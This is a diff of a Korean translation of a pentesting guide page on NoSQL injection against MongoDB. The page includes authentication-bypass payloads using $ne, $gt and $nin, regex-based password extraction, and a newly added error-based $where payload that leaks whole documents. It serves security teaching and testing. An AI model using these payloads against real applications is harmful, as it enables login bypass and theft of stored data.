Translated ['src/pentesting-web/nosql-injection.md'] to ko

src/pentesting-web/nosql-injection.md

@@ -17,9 +17,9 @@ username[$ne]=admin&pass[$gt]=s #<Greater Than>
 username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
 { $where: "this.credits == this.debits" }#<IF>, can be used to execute code
 ```
-### Basic authentication bypass
+### 기본 인증 우회
 
-**사용하지 않음 ($ne) 또는 더 큼 ($gt)**
+**같지 않음 ($ne) 또는 큼 ($gt) 사용**
 ```bash
 #in URL
 username[$ne]=toto&password[$ne]=toto
@@ -40,13 +40,13 @@ query = { $where: `this.username == '${username}'` }
 Normal sql: ' or 1=1-- -
 Mongo sql: ' || 1==1//    or    ' || 1==1%00     or    admin' || 'a'=='a
 ```
-### 길이 정보 추출
+### Extract **length** information
 ```bash
 username[$ne]=toto&password[$regex]=.{1}
 username[$ne]=toto&password[$regex]=.{3}
 # True if the length equals 1,3...
 ```
-### 데이터 정보 추출
+### **데이터** 정보 추출
 ```
 in URL (if length == 3)
 username[$ne]=toto&password[$regex]=a.{2}
@@ -108,9 +108,15 @@ in JSON
 }
 ]
 ```
+### Error-Based Injection
+
+`throw new Error(JSON.stringify(this))`를 `$where` 절에 주입하여 서버 측 JavaScript 오류를 통해 전체 문서를 유출합니다(애플리케이션이 데이터베이스 오류를 유출해야 함). 예:
+```json
+{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
+```
 ## MongoDB Payloads
 
-목록 [여기에서](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
+목록 [여기서](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
 ```
 true, $where: '1 == 1'
 , $where: '1 == 1'
@@ -229,5 +235,6 @@ get_password(u)
 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)
 - [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
 - [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
+- [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/)
 
 {{#include ../banners/hacktricks-training.md}}